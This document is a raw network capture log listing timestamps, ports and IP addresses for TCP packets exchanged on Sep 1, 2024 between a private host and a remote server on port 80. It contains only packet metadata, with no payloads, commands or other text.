Sep 1, 2024 01:22:03.439938068 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.439939022 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.439968109 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.439991951 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.440068960 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440083027 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440093994 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440108061 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.440118074 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.440140963 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.440239906 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440248013 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440253019 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440259933 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440268040 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440287113 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.440313101 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.440406084 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440417051 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440426111 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440443993 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.440474033 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.440584898 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440593958 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440604925 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440613985 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440623999 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440632105 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.440645933 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.440669060 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.440741062 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440752029 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440762043 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440772057 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440782070 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440782070 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.440792084 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440804005 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440812111 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.440834045 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.440843105 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.440882921 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440907955 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440917015 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.440932989 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.440953970 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.441070080 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441080093 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441091061 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441102028 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441117048 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.441128969 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.441157103 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.441207886 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441217899 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441227913 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441237926 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441241980 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.441257954 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.441277027 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.441353083 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441363096 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441370010 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441379070 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441409111 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.441425085 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.441512108 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441520929 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441528082 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441534996 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441570997 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.441581011 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.441824913 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441834927 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441845894 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441863060 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.441871881 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.441893101 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.441958904 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441968918 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441978931 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441987991 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.441994905 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.441998959 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.442008018 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.442017078 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.442047119 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.442133904 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.442143917 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.442154884 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.442164898 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.442173958 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.442176104 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.442187071 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.442203999 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.442229033 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.442480087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.442491055 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.442497015 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.442537069 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.442636013 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.442646027 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.442688942 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.442786932 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.442796946 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.442831039 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.442850113 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501045942 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501059055 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501070023 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501094103 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501122952 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501230001 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501240969 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501251936 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501262903 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501275063 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501276970 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501286030 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501297951 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501300097 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501307964 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501308918 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501321077 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501336098 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501337051 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501363993 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501374006 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501382113 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501398087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501410961 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501432896 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501456976 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501466990 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501477957 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501488924 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501491070 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501507998 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501518011 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501560926 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501571894 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501581907 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501595974 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501624107 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501694918 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501704931 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501720905 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501732111 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501739979 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501744032 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501754045 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501765013 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501770020 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501775026 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501792908 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501816988 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501903057 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.501945972 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.501966953 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.502006054 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.502032042 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.502043009 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.502053976 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.502063990 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.502074957 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.502096891 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.502099991 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.502110958 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.502139091 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.502161980 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.524687052 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.524698019 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.524703979 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.524708986 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.524758101 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.524852037 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.524863958 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.524874926 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.524885893 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.524895906 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.524898052 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.524909973 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.524920940 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.524924040 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.524933100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.524944067 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.524951935 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.524957895 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.524971008 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.524976015 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.524991989 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525012970 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525058985 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525069952 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525079966 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525101900 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525125027 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525125980 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525135040 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525145054 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525156975 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525163889 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525182009 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525203943 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525266886 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525309086 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525383949 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525393963 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525404930 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525417089 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525422096 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525428057 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525439978 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525444984 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525454998 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525461912 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525480032 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525505066 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525505066 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525516987 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525530100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525543928 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525553942 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525556087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525568008 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525571108 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525595903 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525604010 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525618076 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525629044 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525648117 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525657892 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525669098 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525671005 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525692940 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525711060 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525757074 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525775909 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525785923 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525796890 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525815964 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525830030 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525835037 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525846004 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525861979 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525871038 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525873899 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525885105 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525888920 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525907993 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525927067 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.525962114 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525980949 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.525990963 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526001930 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526002884 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526022911 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526038885 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526098013 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526109934 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526120901 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526130915 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526139975 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526182890 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526195049 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526206017 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526207924 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526216984 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526226997 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526257038 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526269913 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526320934 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526344061 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526354074 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526364088 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526375055 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526384115 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526401997 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526407003 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526418924 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526426077 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526452065 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526462078 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526479959 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526492119 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526500940 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526501894 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526529074 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526551962 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526586056 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526602030 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526613951 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526624918 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526624918 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526634932 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.526644945 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526664972 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526686907 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.526999950 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.527045965 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.527076960 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.527086973 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.527097940 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.527110100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.527117968 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.527118921 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.527139902 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.527164936 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.563682079 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.563703060 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.563713074 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.563724041 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.563735962 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.563760996 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.587135077 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.587179899 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.587188959 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.587198019 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.587208986 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.587228060 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.587245941 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.587258101 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.587265968 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.587275982 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.587285995 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.587292910 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.587296963 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.587323904 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.587338924 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.587347031 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.587357044 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.587367058 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.587378979 CEST	80	49730	185.215.113.100	192.168.2.4
